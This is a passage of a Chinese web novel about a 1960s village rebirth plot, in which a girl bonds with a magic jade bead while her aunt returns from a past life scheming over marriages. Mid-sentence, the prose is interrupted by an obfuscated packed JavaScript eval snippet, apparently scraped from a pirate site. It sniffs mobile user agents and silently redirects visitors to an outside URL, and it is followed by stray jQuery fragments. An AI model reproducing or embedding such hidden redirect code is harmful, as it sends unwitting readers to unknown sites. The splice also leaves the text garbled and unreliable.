外面苏老婆子的谩骂声格外尖利,苏白容听得耳朵疼,她伸手从胸口上那个兜里将圆圆的珠子掏出来紧紧捏住。
接下来就是等!
等半夜。
不然,这破柴房连个门都没有,万一认主期间动静大了或者是有人闯进来怎么办?
天色已晚,村里没通电,都是天一黑就睡。
也就是今儿村里出了“贼”,众人才会这么兴奋,不然早就睡了。
一小时后,村里人没发现贼的动静,又被抓去村口,由村长编出了巡逻队,三人一宿,每夜巡逻几次。
他们没有找出是谁喊的抓贼,但却在苞米地里找到了有人睡过的痕迹,虽有人怀疑是男女躲在那儿偷情,但无论是贼,还是男女通奸,都得抓一抓。
今天不该苏家人巡逻,一群人回了院子,前后不过几分钟,大多数人都躺下了。
最后睡的,是挑水的陈春喜。
外面渐渐安静下来,伴着狗吠声和虫鸣声,苏白容掏出了玉珠。
月光下,只隐隐看得出是个泛白的珠子。
苏白容头晕得厉害,但也下不去嘴咬自己的手指,而且,万一苏文玉重生了,发现玉珠不在,而她手上又有伤,兴许会怀疑她。
她悄悄滑到地上,捡了砍柴的刀,头重脚轻头晕目眩,脑袋像是要痛炸了似的,她懒得起身回床上,就着坐在地上的姿势,用柴刀割了脚趾。
鲜血流出,苏白容将白珠子怼了上去。
白珠半天没反应,苏白容感觉自己都要晕过去了,它还是原来的样子……难道是假的?
就在她猜测有没有第二颗白珠之际,白珠亮了亮,手中一空,亮光也消失了,与此同时,脑子里忽然看见了一片竹林,她目光搜寻,果然在一棵看起来最老的竹子上瞧见了一片叶子。
叶子上一滴白色的灵乳将落未落,而叶片下方,石头凹陷,里面铺了一层灵乳。
苏白容心中一喜,捡了柴刀去接,灵乳凭空出现在柴刀尖上,她怕被人看见,忙张嘴喝了。
味道只比一般的水清甜些,然后,她再也撑不住,睡了过去。
天才蒙蒙亮,苏白容忽然听到了一声“我回来了”,声音里满是不可置信和雀跃。她心中一动,顺着柴房漏风的缝隙往外瞧,只见院子里来来往往的苏家人都盯着屋檐下的苏文玉。
苏白容很快发现,昨天那种头痛到欲生欲死的感觉已经消失,身上还是乏力,但不影响起身行走,估计是没吃饭才没力气,伸手一摸,头上的伤还在。
也幸好还在,不然,没法儿解释。
她想到竹林,还真又出现在了脑子里,想摸摸叶子,只要细想那片叶子就能摸到。
可惜进不去。
外面苏老婆子骂骂咧咧,先是骂二儿子起得晚,又骂大丫像头猪似的天天睡,还扬言不干活就没饭吃。听到女儿的话,她像是被人瞬间卡住了脖子,骂人的声音顿住,然后扑到屋檐下,一把揪住女儿的耳朵。
“你是想气死我吗?什么回来了?从哪儿回来了?天都亮了,还做梦呢。”
她以为女儿是梦见与人私会,醒来后发现还在家里才说了这话。
苏文玉过于震惊,都没扯回自己的耳朵:“娘?你年轻了?”
苏老婆子:“……”
她心里欢喜,嘴上训斥:“别拍老娘马屁,没有用!老娘绝不会答应让你嫁给那个姓何的,除了人是京城来的,还有哪里好?”
这话提醒了苏文玉。
别说娘不让她嫁,就是让,她也不嫁。
至于清白之身……过个三四十年,谁还在乎这个?
“不嫁不嫁,我都听您的。”
苏老婆子一个字都不信,这死丫头都跟人睡了,怎么能不嫁?
她心里愤恨,咬牙切齿道:“让他赶紧上门,彩礼五十,结婚时必须要有个像样的住处。”
苏文玉吓一跳:“娘,我真的不嫁。”
“趁着老娘答应了,赶紧让他来,过了这村就没这店了。”苏老婆子没好气。
这时远处传来了敲锣声,上工的时间要到了。除了几个孩子,能动的都得去干活。苏文玉是个例外,她初中毕业近一年,前头一直在走门路试图进大队的小学当老师,结果争不过村长大队里的亲戚。刚好县城里的制衣厂即将招人,苏文玉美名其曰在家准备考试……不是秋收,村里不强制村民干活。
苏家人乌泱泱一走,苏文玉回过神,把家里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364514|183865||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子都撵出了门,然后到了柴房里。
“大丫。”
苏白容装死,不吭声。
苏文玉伸手推了推侄女:“你起来,我有话跟你说。”
苏白容不起。
苏文玉皱了皱眉,嘀咕:“真傻了?”
她很快起身离去,打算去找何清海拿回玉珠。
那可是个好东西,上辈子何青海无意将血滴到上面,认主后得到了能救人性命的好东西,回城后还救了个大人物,从此一路平步青云,再没有吃过苦。
她一直很不甘心,因为那东西是自己给他的,结果何青海发达以后最先抛弃了她。
这辈子,说什么也不把这天大的好处给他了。
苏文玉一路脚下匆匆,远远看到知青院中空无一人,一拍额头,她都忘了,这才六几年,村里的所有人包括知青在内,都靠着地里刨食挣工分填饱肚子。
上工的时辰,知青院中一般无人,何青海家境贫穷,不干活就只有饿死,这会儿肯定在地里。
想到此,她转身往地里去。
远远看到一大片人蹲在黄豆地里,她脚下顿住,这会儿过去找何青海,肯定会有人开他们的玩笑。原先她会羞涩又甜蜜,如今是避之不及。
她还要嫁给吴建北呢。
苏文玉远远看见何青海,到底没有凑上去…再等半日!
好事不怕晚,反正无人知道玉珠的好处,等下工再去拿也一样。
她想到什么,唇角浮起一抹甜蜜的笑,脚下一转,去了吴家。
吴建北家中三兄弟,他是老三,底下还有妹妹,前头两个哥哥已经娶媳妇,这会儿一家人都在外头干活,家里只有吴建北和留下来照顾他的妹妹吴小花。
吴小花开门看见苏文玉,不高兴地问:“你来做什么?”
苏文玉念着吴建北以后要飞黄腾达,忍下了吴小花的坏脾气,讪笑着道:“我来道歉。婚事不是我要退的,是家里人逼我……”
吴小花不耐烦:“亲事都换了,我娘都接受了大丫做儿媳妇,你又来说这些有什么用?”
苏文玉:“……”
她只恨自己回来太晚!
但凡早五天,她都绝不会退亲。